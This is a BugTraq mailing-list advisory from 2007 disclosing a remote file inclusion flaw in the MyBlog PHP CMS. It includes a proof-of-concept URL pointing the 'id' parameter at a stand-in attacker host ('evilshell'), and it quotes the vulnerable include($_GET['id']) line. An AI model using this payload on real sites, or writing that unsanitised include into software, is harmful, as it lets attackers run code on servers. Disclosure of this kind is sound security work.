Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs
BugTraq
Name:
Email:
*Note: Email address will appear as "user domain ext" to prevent harvesting.
Subject:
Message:
 
My Blog Rfi Dec 22 2007 02:16PM
beenudel1986 gmail com
MyBlog CMS RFI

Aurthor: Beenu Arora

mail: beenudel1986 (at) gmail (dot) com [email concealed]

Application:MyBlog: PHP and MySQL Blog/CMS software

RFI

1.http://localhost/games.php?id=http://evilshell

vulnerablity: include($_GET['id'] . ".php");

greetz : d3, baltazar , Zugzwang , Fu...

[ more ]  




 

Privacy Statement
Copyright 2009, SecurityFocus